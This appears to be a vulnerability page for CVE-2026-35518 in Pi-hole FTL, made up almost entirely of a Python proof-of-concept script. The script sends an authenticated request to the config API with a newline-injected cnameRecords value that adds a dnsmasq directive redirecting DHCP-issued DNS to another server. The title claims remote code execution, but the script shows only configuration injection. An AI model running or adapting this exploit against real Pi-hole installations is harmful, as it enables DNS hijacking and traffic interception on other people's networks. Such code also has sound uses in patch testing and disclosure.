CVE-2026-35518 Pi-hole FTL 远程代码执行漏洞

# PoC for CVE-2026-35518: Pi-hole FTL Configuration Injection # Target: Pi-hole FTL < 6.6 import requests import json # Configuration TARGET_URL = "http://<pi-hole-ip>/api/config" SESSION_ID = "<valid_admin_or_low_priv_session_cookie>" # The vulnerability allows injecting newline characters to add arbitrary dnsmasq config. # This payload attempts to inject a malicious configuration directive. # Note: Actual command execution depends on the specific dnsmasq directives used. payload = "legit.cname.example.com=192.168.1.1\ndhcp-option=6,10.0.0.1" headers = { "Content-Type": "application/json", "Cookie": f"PHPSESSID={SESSION_ID}" } # Data structure to update the dns.cnameRecords setting data = { "config": { "dns": { "cnameRecords": payload } } } try: response = requests.post(TARGET_URL, headers=headers, data=json.dumps(data)) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the dnsmasq configuration file or trigger a config reload to execute.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")